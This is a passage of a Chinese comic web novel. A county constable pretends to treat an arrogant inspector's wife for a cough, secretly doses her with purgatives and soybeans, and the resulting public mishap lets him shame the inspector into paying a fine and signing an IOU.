上来先甩一顶大帽子,就你看撑不撑得住。
齐德隆来之前,做足了功课。
知道他将贩卖私盐的王家查办了,又听何健说,县里苏家盐铺也在贩私盐。
那钱,是一个人赚的么?
王家以前,每年都会打点自己许多银两,今天本官倒要看看。
一个小小的县令和县尉,懂不懂得规矩。
他此次前来,还有一个目的。
不管县令县尉如何作保,那苏家盐铺也得查办。
贩私盐,竟敢不同本官知会一声,必须严惩。
就逼着你们托人找关系,顺着这条线,本官探一探你们的底。
陈息可不吃他这套,想往小爷脑袋上扣帽子,你那点道行未必够用。
刚想怼他两句,一旁的谢轻蝉咳嗽声加重:
“咳咳咳...你不是神医么...咳咳...快为本小姐诊治...”
齐德隆见夫人咳嗽加重,连忙为她敲敲后背,转头向陈息喝道:
“我听说县尉不是神医么,还不赶快为夫人诊治。”
“对了,本官忘了告诉你。”
“我夫人可是知府大人的千金,能为夫人诊治,是你八辈子修来的福气。”
陈息恨得牙根痒痒,让我给煤气罐诊治?
真拿小爷当软柿子了。
我管你千斤万斤的。
既然敢到这里找事,那就别怪小爷无情了。
上手段!
陈息瞬间换了副嘴脸,连忙起身到谢轻蝉身边:
“哎呀,夫人咳的厉害,快快让我来为夫人诊脉。”
陈息语气谄媚,给了谢轻蝉一个错觉。
听见本小姐是知府大人的千金,现在知道怕了?
呵呵,刚才的官威呢?
桀骜不驯的样子呢?
谢轻蝉瞪了他一眼,伸出一条肥圆的胳膊:
“你这狗奴才...少废..咳咳...话,快些诊...咳咳...”
煤气罐子生病,态度还如此嚣张,陈息嘴角挂起一抹坏笑,满嘴喷粪,可是要付出代价的。
这粪,小爷今天倒要看看,你是怎么喷的。
“夫人莫急,小的这就为您看诊。”
伸手搭上脉,陈息装模作样起来。
一会深锁眉头,一会呲牙咧嘴,一会又紧紧鼻子,表情丰富至极。
他这样一搞,谢轻蝉心里可没了底。
难不成自己患了什么大病?
不然他怎会这副表情。
“咳咳...快些诊...本小姐患了什么病...咳咳...”
陈息诊得很快,抽回手来,谄媚回道:
“夫人患了风寒,且病症不轻......”
一听谢轻蝉患的是风寒,齐德隆心中有底了,只要不是大病就好。
若是陪自己巡了一次差,回去患了重病,岳丈大人可不会饶了自己。
自己一介不第秀才,靠出卖色相才得到夫人赏识,坐稳这巡盐官。
虽说官阶不大,但油水丰厚。
可不能因为这点小事,得罪岳丈大人。
“少特么废话,你不是号称神医么,赶快为夫人煎药。”
“还有,必须用你们县最好的药,若是出现一丝纰漏,本官轻饶不了你。”
齐德隆颐指气使,一个不入流的县尉官职,也敢在本大人面前放肆。
在百姓面前,你是官老爷。
在本官面前,是龙给我盘着,是虎也得给我卧着。
“好好好,大人稍等,我去为夫人买药。”
陈息依旧用讨好的语气应付着,转身出了县衙,一张脸瞬间垮了下来。
二你大爷的!
不就是治咳嗽么,小爷最特么擅长。
来到一家草药铺子,进门就开始点菜:
“大黄、芒硝、火麻仁、甘遂、大戟......”
从陈息进屋,掌柜的一眼便认出这是新上任的县尉爷。
还没来得及打招呼,便听到一连串的草药名字,掌柜的嘴角一抽抽:
“县尉爷您来了,家里这是......家里这是有牲口便秘了么?”
好家伙,这几味草药,都是泻药的主料,大人家里一定有骡马便秘了。
陈息也不和他解释:
“我这边有急事,掌柜的快快取来。”
“好好好,大人您稍等。”
掌柜的生意人,县尉爷不说,自己照吩咐便是。
不一会的功夫,草药都装好了,递过来几个大包:
“县尉爷,这是您要的药材。”
陈息摸出几块碎银放在桌上:
“够么?”
“哎呀,使不得使不得......”
掌柜的哪敢管县尉爷要钱,嘴里推迟,却被陈息打断:
“做生意哪有不要钱的,若是不够,到县衙找我来取。”
说罢,拎着草药回府。
陈息走后,掌柜的才从震惊中回过神来。
自己做生意这么久,还第一次拿到官员的银钱。
看了眼柜台上的几块碎银子,捧在手里,表情很不自然。
几十个铜板就能搞定的草药,县尉爷居然给了这么多。
陈息回到县衙,找个没人的房间开始煎药。
将药材按照配比,煎了整整一罐子。
汤汁黢黑,黏黏糊糊。
陈息找块抹布垫着,捧着药坛子便来到大堂。
见杨刚烈为两人上了果盘茶水,陈息一咧嘴,好东西给这俩牲口吃,白瞎了。
杨刚烈见陈息端着药罐子进来,一脸喜色上前接着:
“太好了夫人,药已经煎好,赶紧趁热喝,趁热喝。”
陈息扭头看看杨刚烈,该说不说,这老小子挺有眼光。
知道这东西趁热喝,效果最佳。
看兄弟这药,猛不猛就完了。
两人捧着药罐子前来,夫人咳得难受,迫不及待的掀开盖子,见里面黑色粘稠的药汁,眉头一皱,提鼻子嗅了嗅:
“好苦,怎么还这么粘?”
陈息立即开口解释:
“夫人啊,这可是咱们县最上等的药材,良药苦口啊。”
说着话,拿出汤匙将药汁盛到碗里:
“大火猛煎,最大程度保留药性,不是我吹,寻常郎中根本煎不出这个效果。”
这话还真不是陈息吹牛。
寻常郎中哪敢将泻药这么煎,别说人吃了,牲口也扛不住啊。
这药有个特点,药性来的缓慢,等你忍不住时,那效果,杠杠的。
听陈息说的这么邪乎,齐德隆也探过头来,看了看碗中粘稠的药汁。
正是体现他知识渊博的时候,不懂装懂道:
“夫人放心喝,这药味醇正,一般郎中还真煎不出这个效果。”
见齐德隆力挺自己,陈息在心里为他竖起一个大拇指,好眼力。
喝吧,这玩意劲才大呢。
谢轻蝉点点头,相公那么大的学问,都说此药不简单,她也放下了戒心。
拿起汤匙喝了一小口,浓重的苦味进嘴,谢轻蝉脸上,肥肉都跟着颤了颤。
厚嘴唇子一翻,太苦了啊。
见她喝的难受,一旁的齐德隆赶紧端起碗,一边往她嘴里送,一边安慰道:
“夫人呐,良药苦口,咱们忍着点,把药喝了,风寒就好了。”
一连喂了十几口还不算完,将药坛子里剩下的药汁,一口气全灌了下去。
谢轻蝉喝完药,肚子都鼓了一圈儿。
好家伙,午饭都不用吃,直接喝饱。
陈息见她把药喝完,得意一笑。
这就是小爷治咳嗽的妙招。
我让你再咳嗽,只要一咳嗽,窜死你丫的。
见陈息识趣的为夫人煎药,齐德隆态度缓和了些。
刚想谈谈私盐的事,陈息端起药罐子就走,他知道齐德隆要说什么,自己还有正事要办。
留下杨刚烈在这里应付着。
陈息来到内宅写写画画,找出大印往纸上一盖。
吹干笔墨,让宁乱张贴到县府门口。
又交代了他一些事。
办完了这边,陈息回到大堂。
接下来。
便是见证奇迹的时刻。
第141章 上劲儿了
等陈息再回到大堂时,场中气氛有些凝重。
看得出来,杨刚烈和齐德隆,谈的不怎么愉快。
原因,无非就是私盐。
齐德隆话里话外,透露出要分一杯羹,既要利益,还要踩一脚。
杨刚烈做不了主,只能以白山县没有私盐为由,一直拖着。
心里盼望着陈息快些回来,为自己解围。
同时,还期盼着他好兄弟的药,能将夫人咳嗽治好。
有了这层关系加持,对方也能顾及些颜面。
不至于激化矛盾。
陈息回来第一件事,便是为谢轻蝉复诊一下,摸了摸脉搏,嘴角挂起坏笑。
快上劲了。
亲自为她倒了杯茶:
“夫人喝些热茶,有助药效散发。”
“嗯...咳...”
见他又为自己诊病,又为自己倒茶的,谢轻蝉态度稍缓,却没说一句客气话。
能伺候本小姐,是你的福分,一个狗奴才而已,怎配本小姐一个谢字。
本想出来散散心,哪成想一路颠簸,还染了风寒。
都怪你这破县城这么冷,害的本小姐吃苦遭罪。
她染个风寒,连带恨上整个白山县。
看谁都不顺眼。
一杯热茶下肚,胃里舒服些。
身子舒服了,可嘴里却有些干巴,瞧了瞧桌上的糕点,没胃口:
“你们县子,有没有...咳咳...可口的小食啊。”
她平时在州府,小食不离嘴。
干果,蜜饯,糕点,肉干,啥好吃,吃啥。
如今到了白山县,也想尝尝这里的独特美食。
这次不等杨刚烈搭话,陈息主动喊道:
“有!”
“小的这就为夫人准备。”
见他这么痛快,齐德隆得意一笑,奴才就是奴才。
得知夫人身份后,吓破胆了吧。
轻抿一口茶水,话题继续:
“杨大人,若真如你所说,你们白山县没有商家贩卖私盐,那本官可就要亲自去查了。”
给你机会你不说,待本官亲自查出来,可就不是这个态度了。
齐德隆胜券在握。
他已经得知苏家盐铺贩卖私盐,自己带来两队卫兵,干啥来的?
不就是查你的么。
闻言,杨刚烈急得汗都要下来了,在没有得到陈息明确态度之前,只能咬死口:
“齐大人啊,以前白山县确实有私盐,但已经被县府查办,王家满门抄斩,全县百姓都能作证。”
“如今,铲除了王家,咱们县再也没有贩卖私盐的情况了。”
齐德隆呵呵一笑,死鸭子嘴硬:
“看在县尉为我家夫人诊病的份上,本官再给你一次机会。”
“现在说,还来得及,否则......”
齐德隆没往下说,饮了口茶,翘起二郎腿,给足杨刚烈考虑时间。
就在这时,陈息屁颠屁颠端来一碟小菜,放到谢轻蝉身边桌案上:
“夫人,这是本县经典小食。”
抬手又给她倒了杯茶:
“五香黄豆!”
“配上一口热茶,那滋味,嘎嘎美!”
陈息也是豁出去了,为了能她多吃点,还特意调制了五香粉,撒上精盐,足足做了半盆。
泻药,热茶,黄豆。
这货又瞄了瞄夫人底盘子,只见肥硕的大屁股卡在椅子里,严丝合缝。
后座力是没问题的。
就是不知道,待会的效果咋样。
谢轻蝉瞧他鼓捣半天,就端来一碟黄豆,有些不乐意了。
本小姐什么山珍没吃过,拿碟黄豆糊弄鬼呢?
想要发作,却见那碟黄豆卖相不错,她嘴馋想试试。
伸出两根擀面杖似的手指头,夹起一颗放进嘴里尝尝。
咦?
还别说,虽是一碟普通的黄豆,但味道没得说。
比州府的小食好吃多了。
抬起眼皮,扫了一眼陈息,没想到一个小小的县尉,手艺还不错。
挪动一下屁股,想离黄豆近些,由于屁股卡在里面,椅子都跟着晃动。
索性不管了,直接抄起碟子。
仰头张开大嘴,一碟子黄豆倒了进去,大肥腮帮子没咕蛹几下,直接下肚。
谢轻蝉一抹嘴丫子:
“再来!”
“好嘞!”
陈息乐坏了,太爱看她吃东西了。
不用嚼的么?
小跑回去,又端来一碟。
同上次一样,一碟子黄豆瞬间下肚,咕咚,喝了口热茶:
“再来!”
这黄豆真好吃,谢轻蝉一路颠簸,染了风寒却也不耽误胃口。
早饭才吃2斤肉干,此刻才两碟黄豆,小菜一碟。
指挥他再上,陈息自己巴不得的。
为了能让她吃好,可是做了足足半盆。
这次也不拿碟了,直接将大盆搬来,咣当一声放在桌上:
“夫人,敞开了造。”
“不够还有。”
齐德隆在一旁直咂嘴,整天跟这头肥猪在一起,他太了解夫人脾性了。
干啥啥不行,吃啥啥没够。
若不是知府大人家的千金小姐,他正眼都不带看她一眼的。
心里着急,可夫人这边吃的正香,他还不能打断。
杨刚烈迟迟不松口,自己还要去查办苏家呢。
这头肥猪倒好,吃起来没完。
齐德隆瘪着嘴,强忍着,再看谢轻蝉。
直接抄起大盆放在腿上,一手扶着盆,另一只手,抓起黄豆就往嘴里塞。
“嗯嗯...好吃...”
噎住了喝热茶,顺下去了吃黄豆。
全场寂静。
陈息,杨刚烈,齐德隆,都目不转睛的看她吃黄豆。
一刻钟,半盆黄豆下肚。
谢轻蝉想掏出手帕擦嘴,可刚一伸手,就觉得肚子有些不舒服。
嗓子眼刺挠,轻咳一声:
“咳...”
咦?
有些不对劲。
她反应很快。
再咳,就要出问题。
泻药,配合热茶黄豆,谢轻蝉的肚子里,逐渐起了化学反应。
双臂垫在椅子把手上,轻微挪动一下屁股,换了个舒服姿势。
收紧。
这门,是不能开的。
嗓子眼刺挠,也不敢咳,就这么硬憋着。
见她那副表情,陈息嘿嘿一笑。
上劲儿了。
清了清嗓子,下面是装逼时间:
“齐大人远道而来,夫人还染了风寒,都是下官招待不周啊。”
“万幸,下官略懂些医术,亲自为夫人诊治煎药。”
“你们看,夫人是不是不咳嗽了?”
两人齐齐一看,还真是。
夫人自从吃上黄豆,还真没咳嗽。
再看夫人,双手扶着把手,身体笔直的坐在椅子上。
要多规矩,有多规矩。
除了脸上肥肉微微颤抖外,挑不出任何毛病。
这才是大家闺秀的样子。
齐德隆心里高兴,夫人没给自己丢脸啊。
以后你总这样,相公到哪都愿意带着你。
大家闺秀!
给自己长脸啊。
三人都将赞许的目光投给夫人,夫人目不斜视,表情不变。
双手扶着把手,全身的力气,一半控制不咳嗽,一半控制不喷。
大肥脸蛋子持续抖动,面色由白,逐渐转成微红。
坐在那里,别说咳嗽了,连话都不敢说。
两个字。
乖巧!
见夫人不咳嗽了,齐德隆点点头,终于说了句人话:
“好,县尉果然医术高深,有劳了!”
谢过了陈息,他还有些纳闷。
扭头看向夫人,在这一直坐着可不成啊,我还要去查办苏家盐铺呢。
将一个妇道人家丢在县衙,不合规矩呀。
轻声开口询问:
“夫人呐,为夫还有要事处理,你随为夫去呀?”
话是疑问句,但意思很明显。
从杨刚烈嘴里套不出实话,下面该给他们点颜色瞧瞧了。
查办了私盐,人证物证俱在。
看你怎么收场。
这事,银子若是少了,别说乌纱帽。
人头,都未必保得住。
齐德隆心里已经有了决定,虽说你为夫人医好了病,但这事,可不算完。
他这边问夫人走不走,谢轻蝉可要忍不住了。
肚子里翻江倒海,两个大厚嘴唇子一撅,扬起下巴对着门口。
那意思要走,她不能在县衙大堂喷。
自己是什么身份?
知府大人的千金大小姐。
在一个小小的县衙里,那啥是吧。
若是传出去,连带着父亲一块丢人。
齐德隆见夫人同意和自己走,连忙起身要扶。
谢轻蝉一摆手,目光直视地面,双手握紧椅子把手,屁股一点一点抬起。
生怕用力过猛,控制不住。
齐德隆懵逼了,夫人这是干啥呢?
慢动作?
咱大家闺秀,其实也不用这样的。
装装样子,众人夸你几句,还扭捏上了。
齐德隆有些无奈,外人在场,自己也不好多说。
直到夫人站起身,才敢上去搀扶。
谢轻蝉佝偻着身子,夹紧后臀,两只大脚丫子一点一点往前蹭着走。
每挪动一步,脸上的肥肉都跟着颤动一下。
节奏感,相当好。
她身子沉,齐德隆一人扶不住,扭头看向陈息。
只见,陈息仰着脖子看房梁,装作没看见。
又将目光落在杨刚烈身上,后者一脸懵逼。
啥意思?
这是你夫人,我...我怎能上去扶?
不合礼仪呀。
但齐德隆没招了,整个大堂就没个女眷,只能向杨刚烈一努嘴:
“大人帮忙扶一下,没关系的。”
得到人家允许,杨刚烈才敢上前搀扶,两人一人一边,扶着谢轻蝉,轻轻向前挪动。
有人帮衬,齐德隆才空出一只手来,轻轻拍打夫人后背:
“夫人呐,是不是哪里不舒服?”
这句话刚出口,就换来谢轻蝉一瞪眼,你他么再拍?
再拍老娘可要发射了。
被她瞪着,齐德隆不敢动,讪讪一笑:
“没事哈,为夫不拍了,夫人您慢些,为夫搀着你。”
谢轻蝉见他不拍了,扭头看向县衙门槛子。
只要迈过这道门槛,就算成功一半。
视线锁定在门槛,脸上肥肉急剧颤动。
几滴汗珠,顺着脸颊滑落,目光决然。
她的目标只有一个。
那就是出府。
只要上了马车,就是本小姐的天下。
谢轻蝉挪动的慢,两人也不敢催,就这么规规矩矩的扶着。
目标越来越近,门槛子就在眼前。
到了近前,夫人深吸一口气,试探着迈动一只腿,全身力气汇聚后臀。
夹紧。
也不知道哪个冤种,设计的县衙门槛子,这么老高。
费了半天劲,才迈过去一条腿。
一脚门里,一脚门外。
谢轻蝉轻舒一口长气,随即目光发狠,再次迈腿。
万幸。
悲惨的事件没有发生。
又花费一些时间,下台阶到了马车旁。
有卫兵掀开帘子,等待夫人上车。
谢轻蝉此时汗如雨下,已经到了临界点。
只要上了车,啥都好办。
就在她将要成功时。
陈息手里捏着一把扇子,屁颠屁颠跑来,拍了拍齐德隆:
“齐大人,您夫人裤子坏了。”
抬手一指夫人身后,齐德隆闻言一愣,脑子没多想,顺着陈息指的方向,弯腰看去。
脸贴着屁股,认真查看夫人的裤子是不是坏了。
见他弯腰往后看,陈息展开扇子,往夫人脸上扇了几下风:
“瞧把夫人热的,脸上都是汗,我为你扇扇风,凉快凉快!”
他这把扇子有猫腻,故意沾了些家禽绒毛,细绒毛钻进她的鼻孔里。
只见,谢轻蝉两个鼻孔猛然睁大。
抬头望天,眼皮紧闭,张开大嘴,都能看见嗓子眼的小舌头。
紧接着,就是一道晴天霹雳:
“阿阿阿......阿嚏——”
第142章 豌豆射手
这一声巨响,势若奔雷。
隐约还掺杂着,类似衣物开线的声音。
“阿嚏——”
“咔嚓——”
夫人这道喷嚏打的痛快,可后面却收不住了。
在一道咔嚓声中,棉裤不堪重负。
开...开线了。
“砰——”
洪荒之力冲破阻碍,喷涌而出......
齐德隆正在这研究呢,县尉说夫人裤子破了?
可自己看了好几眼,没发现哪里有问题呀。
正纳闷呢。
突然,被那道阿嚏声吓了一跳,他下意识的张嘴,一股热流直射面门。
“诶......卧槽——”
由于他离得近,来不及躲闪,承受了大部分伤害。
为什么说他承受了大部分伤害呢?
因为还有个货,同样听见陈息说夫人裤子破了。
那货很紧张,这可是知府大人的千金,到县衙把裤子磨坏了。
自己是有责任的。
齐德隆离得近,杨刚烈离得稍远。
两人共同分担了第一波攻击。
杨刚烈只觉得眼前一花,立马扭过头去。
感觉到脸上有些黏,伸手,顺着络腮胡子往上捋了捋。
然后,看了眼掌心。
“呕——”
扭头再看齐德隆,这货坐在地上,目瞪口呆,整张黄脸露着难以置信的表情。
“呕——”
杨刚烈再次干呕,他已经知道发生了什么。
推开衙役就往府里跑。
一边跑一边喊:
“关上大门,关上大门。”
衙役哪敢不从,咣当一声,关闭府衙大门。
他跑了,齐德隆张开手掌,从嘴里吐出两粒黄豆在手里。
这一看,他彻底破防了。
“呕——呕——呕——”
坐在地上干哕好几声,前面的谢轻蝉一个喷嚏没过瘾,正在蓄力第二击。
“啊...啊...啊...”
听到蓄力声,齐德隆顾不上干哕,连滚带爬的为夫人让出场地。
“啊...啊...阿嚏——”
这一发更牛比了。
霰弹枪!
黄豆如扇子面散开,直冲衙门匾额。
“嘭——哗啦——”
陈息离得远远的,跳着脚的骂:
“没想到你这孽,竟然是......”
“豌豆射手!”
“还特么连发的!”
再看衙门匾额,白山县三个字都要看不清了。
按道理说,平时衙门口根本没有老百姓。
但是。
今天不一样。
宁乱按照陈息的吩咐,到衙门口张榜。
百姓们是最爱看热闹的。
瞧见衙门张榜,立即跑来围观。
此时,已经聚集了不下百人,都在下面指指点点......
“有识字的吗?有识字的赶紧念一念。”
“让让...让让...我认识字...”
这边百姓们挤挤插插,那边传来两道巨响。
人群瞬间安静,纷纷将目光锁定在衙门口。
微风一吹,众人齐齐提鼻子嗅嗅...
“卧槽,啥玩意?”
“衙门改茅房了?”
大批老百姓朝这边汇聚,齐德隆带来的两队卫兵,也反应过来了。
夫人太猛了啊。
忍着恶心还得维持秩序:
“别往里挤...呕——”
“站远一点...呕——”
可百姓不管那个,捏着鼻子也要看热闹。
不一会的功夫,衙门口,围得里三层,外三层。
卫兵都慌了,这可怎么办,这可怎么办?
伸脖子四下张望,他们要找陈息。
县令被夫人干跑了,只有县尉才能控制住百姓。
自己是州府的兵,哪能管了县府的百姓。
有眼尖的卫兵,在对面二层铺子发现陈息,这货正趴在二楼窗台上,一脸好奇的向衙门口张望。
卫兵手捏着鼻子说不出话,索性松开手:
“陈大人...呕...快下来...呕......维持秩序......呕...”
陈息听见卫兵喊他,连忙摆手:
“不着急,等你们夫人完事的。”
他这边拖着,夫人可拖不起了。
双手扶在车厢上,两腿一叉:
“砰——叮——咣——哗啦——”
卫兵背对着她,护住马车,五官扭曲在一起。
夫人在爆炸中心点,他们奋战在第一线,外面是里三层外三层的百姓。
卫兵欲哭无泪。
呕...老天爷...呕...
里面响声越大,老百姓越感兴趣。
捂着鼻子也要卖呆。
百姓越聚越多,周围铺子都没人了。
铺里没生意,掌柜的带着小伙计也跑来看热闹。
“咋地了,咋地了?”
“这啥味啊,衙门口卖酱菜了?”
“要不咋说是官家呢,酱菜味道多醇正啊,比我们卖的浓多了。”
响声持续了一刻钟,夫人终于挺不住了。
双腿发软,声音颤颤巍巍:
“扶...咳咳......扶我上......咳咳......上车...咳咳...”
卫兵都要哭了,这案发现场谁敢去啊?
都扭头望向卫兵队长。
卫兵队长嘴角一抽,这还说啥,干吧。
表现!
拉着副队长,两人合力将夫人扶上马车。
指挥卫兵:
“快,快去买棉被,将车厢捂上。”
立即有卫兵去买棉被,回来七手八脚的将车厢捂住。
这边都忙活好了,齐德隆才过来。
官衣也脱了,用里面的内衬擦脸。
没咋擦干净,额前,几屡头发都糊嘎巴了。
左右张望:
“县尉呢?”
他不想再查私盐了,想立即离开白山县。
从今往后,再也不来!
陈息见这边消停了,来到案发地点,与他一同前来的,还有宁乱带领的100府兵。
府兵齐刷刷肃立,人人手持武器。
百姓们一看县尉爷带着府兵过来,知道有大事发生,纷纷散开。
齐德隆见到陈息,立即吩咐他做事:
“快,让这些百姓滚开,本官要带着夫人回州府。”
陈息挑了挑眉毛:
“齐大人,回州府之前,咱是不是忘了点啥?”
齐德隆深吸一口气,这是在给本官上眼药啊:
“本官今日不办公事,等下次来再说。”
陈息听完,哈哈一笑,知道他误会了。
你以为小爷在提醒你查私盐?
小爷若是怕你查,你夫人能变身豌豆射手么。
“齐大人,我不是这个意思。”
说着话,伸手一指墙上张贴的榜:
“这是本县的规定,已经有好些年了。”
“齐大人也不希望,让本县百姓看低了州府官员吧。”
齐德隆顺着他手指方向看去,果然有一张榜单,来到近前细细观瞧。
嚯,好俊的字。
再看写的什么。
瞬间怔住。
啥玩意?
随地大小便,罚款一万两白银?
衙门口还踏马翻倍!
回过头来,怒视陈息:
“你们白山县是金子做的?”
“随地大小便就罚一万两?”
齐德隆都要恨疯了,穷的都要吃不上饭的小县城,张口就一万两?
这不明摆着讹人么!
陈息一咧嘴,有些为难道:
“齐大人,本县虽说穷苦,但是干净啊。”
说着话,伸出指了一圈周围商铺:
“大人您看,本县的铺子都一尘不染。”
他这话说的对,白山县确实干净,百姓都吃不上饭了,更别提拉屎了。
谁若是一天拉一次,说出去倍有面子。
证明他没挨饿!
百姓没钱,铺子自然生意差,闲下来的小厮怎么办?
官府有规定,不许随意辞退小厮。
这些掌柜的只能照做,闲下来的小厮,无事便打扫卫生。
匾额都要擦秃噜皮了。
能不干净么。
齐德隆扫视一圈,确实,家家都干干净净的。
回过头来,面色有些难看:
“干净,说明你白山县管理的好,但也不能随地大小便罚款一万两啊。”
“要知道,一万两......”
他话还没说完,就被陈息拉住,伸手一指衙门的匾额:
“齐大人,过过目吧。”
齐德隆抬眼一看,身子止不住的哆嗦一下。
好家伙。
匾额上两个大字。
县府。
都被喷的不成样子了。
那个府字空白地方,还沾了一颗黄豆。
齐德隆一看见那颗黄豆,就想干呕。
他发誓,这辈子都不会再吃黄豆了。
无他,心里阴影实在是太大了。
涨红着脸,狠狠瞪了一眼马车,转过头来对着陈息有些愧疚道:
“那个哈,听说县尉叫陈息是吧。”
“为兄比你年长几岁,兄弟你看...能不能...卖为兄一个面子...”
他说的很为难,当着百姓的面,喷人家县府一墙,这事传出去,岳丈大人能宰了他。
再怎么说,岳丈大人也是状元出身。
一路摸爬滚打,五十岁才爬上知府的位置。
身边接触的,都是些朝中大员。
同僚之间一开玩笑,谁受得了?
文人。
不要脸的么?
知府大人的女儿,在治下的一个小县城......
最可恨的是,自己作为女婿。
还特么在场。
齐德隆尴尬的扣脚,可陈息没打算放过他:
“齐大人的身份,哪是下官能攀上的。”
“这样吧,按照规矩,1万两白银,衙门口翻倍。”
“这样,兄弟给大人打五折。”
“你一共拿95000两,这事就算过去了。”
齐德隆嘴角一抽抽,打完五折还95000两?
你哪个学堂结业的?
“不对劲,打完五折,还是1万两,不可能出现你那个数字。”
“哎呀呀,下官一介武官,算错了,望大人海涵。”
“1万就1万吧。”
说罢,伸出手等着拿钱。
齐德隆见他伸手,这才反应过来。
妈蛋!
把自己绕进去了。
回头看看被棉被捂的严严实实的马车,又看看府衙匾额。
“那个啥,本官出门也没带多少银钱。”
“不要紧,不要紧的,有多少算多少。”
陈息赶紧接话,一双眼珠子不离他的腰间。
齐德隆尴尬,但事情已经发生,不赔钱是躲不过了。
狠狠一咬牙,从腰间摸出两小锭银子:
“给......本官就带这些。”
陈息接过银子,皱了皱眉头。
才特么10两,打发叫花子呢?
这次不用齐德隆主动给,这货直接上手,差点把他腰带翻过来。
“诶诶诶...陈兄弟......那是为兄的零钱......”
“这是玉佩......本官岳丈送的......你不能......”
“诶...这个不行......这是本官......”
陈息翻猛了,看到下身鼓鼓囊囊的也要掏一把,发现不对劲后才罢手。
“行了,我也不为难齐大人。”
齐德隆被翻个底朝天,听到他不再为难自己,才长吁一口气。
还没等他彻底放心时,陈息又掏出一张纸,接过宁乱手中的毛笔,刷刷点点。
不一会功夫,欠条写完。
递给齐德隆:
“齐大人,按个手印吧。”
齐德隆又懵逼了,不是说好了不难为自己么?
写欠条是什么意思?
展开欠条一看,齐德隆差点被气抽了。
将夫人是怎么发射黄豆的......
事无巨细的写了一遍,甚至还写上,夫人吃他2斤黄豆。
齐德隆手都哆嗦了,刚想不认账,陈息把百姓都喊过来了。
那表情,分明在找人证。
物证不用找,在县衙匾额上粘着呢。
齐德隆喘着粗气,扫视一圈围观的百姓,最后将目光落在嬉皮笑脸的陈息身上:
“行,本官按!”
宁乱早都准备好了砚台,齐德隆拇指一按,签字画押成功!
“本官现在可以走了吧?”
“可以可以,本官送大人。”
齐德隆现在,根本不想搭理陈息。
造孽啊。
出门没看黄历,遇见这么一个货。
马车启动,还没走出10步,这货又一脸憋屈的走回来。
想附耳在他耳边说点悄悄话,却被陈息一脸嫌弃的躲开:
“大人大人,咱们这么说就成,下官耳朵好使。”
谁跟你贴脸啊,脑门子上还有胡嘎巴呢。
见他躲闪,齐德隆有些尬尴,但还是轻声开口:
“陈兄弟......这事还需为为兄保密啊...”
这货搓着手,第一次求一个小小县尉保密,心里尴尬极了。
陈息也没难为他,欠条在自己手里,想找你麻烦,有的是办法:
“齐大人放心,只要按时还钱,兄弟不会去找知府要的。”
“更不会说您夫人......”
齐德隆双手合十,就差给他磕头了:
“兄弟一定要说话算话啊,为兄先走了,后会有期。”
说完,头也不回的带队离开。
后会有期?
这白山县,再也不来了!
第143章 不断你一臂,小爷睡不着觉
陈息一路目送齐德隆马车出城。
回过身来,看了一眼府衙大门和匾额。
嘴角一抽!
妈蛋!
这娘们......
还有比他痛苦的,是衙门口围拢一圈的衙役。
个个愁眉苦脸。
衙门口被喷成这个样子。
还用问,全得他们收拾。
有个和陈息比较熟的衙役,苦一副死了爹妈的表情,悻悻的来到他身边,挠着脑袋小声道:
“县尉爷......”
他咧着嘴,呆愣愣的站在门口:
“匾额,柱子,大门...这些是换啊,还是洗啊?”
他都无语了,长这么大,还是第一次见到知府大人的千金。
在他心里面,知府大人的千金,不说貌美如花,也得算上大家闺秀吧?
哪成想。
以一己之力,差点把衙门喷倒闭了。
这特么,多来几个这样的千金大小姐,攻城都不用云梯。
该说不说,就这战斗力......
剿匪?
俩千金大小姐足够了。
陈息捏紧鼻子,来回瞅了瞅,最终把视线锁定在......
衙门口的两个黄狮子身上。
对嘛。
石狮子,就该是这个色。
手里拿着从齐德隆那缴获的银钱,一股脑都给了衙役:
“柱子和石狮子不用换,其他都给我换了。”
说到这里还不解气,一指匾额上那颗黄豆:
“匾额也给我换了,我瞅那黄豆,心里别扭。”
衙役嘴角一抽。
心道:县尉爷瞅黄豆别扭,还不是你干的好事。
那可是足足半盆黄豆啊。
再瞅瞅地上,都没处下脚了。
埋怨归埋怨,但接过县尉爷手里的银子,心中还是巨大安慰。
一共10两银子,还有几十个铜钱。
衙役在仔细盘算一番,换匾额和大门,估计也就七八两银子。
剩下的可全归弟兄们了。
有了银钱加持,原本苦着的脸,瞬间变得谄媚起来:
“好嘞,小的代弟兄们感谢县尉爷。”
陈息吩咐完了,衙役们不用组织,看到有银钱,全部来了。
拿扫把的拿扫把,打水的打水,开始清理案发现场。
陈息绕开主路,从偏门进府。
进去了就开始四下张望,叫住一个端着水盆行色匆匆的小丫鬟:
“我大哥呢?”
小丫鬟一见是县尉爷问话,连忙行礼:
“回县尉爷,县老爷在屋中洗漱呢。”
陈息挠挠脑袋,这老小子还干净起来了,不年不节的,洗漱个6。
穿过亭廊,径直来到杨刚烈暂时居住的屋子。
也不敲门,推门就进。
房门突然被人推开,杨刚烈正刮胡子呢,被吓一哆嗦。
手中片刀失了分寸,青黑色胡茬中,被划了一道小口子,丝丝渗血。
一见是他的好兄弟来了,老脸气的通红:
“兄弟啊......”
“唉......”
这货一拍大腿,他都不知该怎么说了,在房间里来回踱着步,抬头看看一脸无辜的陈息,又低头叹气:
“兄弟啊,咱下回再有这攒劲的节目,能不能提前给为兄说一声。”
杨刚烈愁眉苦脸,刚刚,他幸亏没抢先去看夫人裤子,这要是抢上前,后果不堪设想。
即便如此。
自己蓄了多年的胡子,也没逃过那波攻击。
古人有这个观念,身体发肤受之父母,一般情况下不剪发,胡子更是男子汉的象征。
杨刚烈是实在忍不了了,半边脸的络腮胡子全被喷上了。
回屋一照铜镜,浓密的络腮胡子中,还藏着半颗黄豆。
这他哪受得了。
立即就把胡子剪了。
陈息见他把胡子刮的溜干净,差点没认出来。
仔细瞅瞅,这货刮了胡子,怎么看怎么别扭。
像宫里出来似的。
他也有点不好意思,怎能想到,杨大哥这么热心去看夫人裤子,导致面目全非。
一丝没犹豫,立即甩锅道:
“大哥啊,不是兄弟说你...”
“人家夫人裤子坏了,你说你凑上去看啥?”
“哪显着你了?”
杨刚烈被陈息怼得哑口无言,对啊,人家夫人裤子坏了,我上去看啥?
挠挠脑袋,怎么听,都觉得陈息说的有道理。
想还嘴,却又找不到理由。
最终,狠狠抽了自己一巴掌:
“欠啊!”
抽完一巴掌还不甘心,来回摸着自己光溜溜的下巴:
“兄弟啊,你嫂嫂最稀罕为兄的一脸胡子。”
“如今都刮没了,回去怎么和她交代啊。”
陈息看他的大光脸,一脸坏笑:
“大哥不用怕,你就说,看别人夫人裤子看的。”
杨刚烈嘴唇被他气的直哆嗦,狠狠白了他一眼。
心里,有苦说不出。
